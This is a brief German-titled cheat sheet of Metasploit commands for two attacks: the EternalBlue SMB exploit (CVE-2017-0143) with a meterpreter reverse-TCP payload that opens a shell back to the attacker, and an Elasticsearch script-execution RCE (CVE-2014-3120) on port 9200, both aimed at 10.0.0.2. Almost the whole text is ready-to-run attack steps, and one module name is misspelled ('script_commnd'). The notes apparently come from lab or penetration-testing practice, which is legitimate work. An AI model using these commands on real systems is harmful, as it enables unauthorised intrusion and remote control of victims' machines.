Metasploit Angriffe

- CVE-2017-0143 (EternalBlue) - SMB
- Elasticsearch RCE (port 9200)

CVE-2017-0143 (EternalBlue) - SMB

use exploit/windows/smb/ms17_010_eternalblue
set RHOST 10.0.0.2
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <ip>
run

Elasticsearch RCE (port 9200)

```
# CVE-2014-3120 - RCE via script execution
use exploit/multi/elasticsearch/script_commnd or use exploit/multi/elasticsearch/script_mvel_rce
set RHOST 10.0.0.2
set RPORT 9200
run
```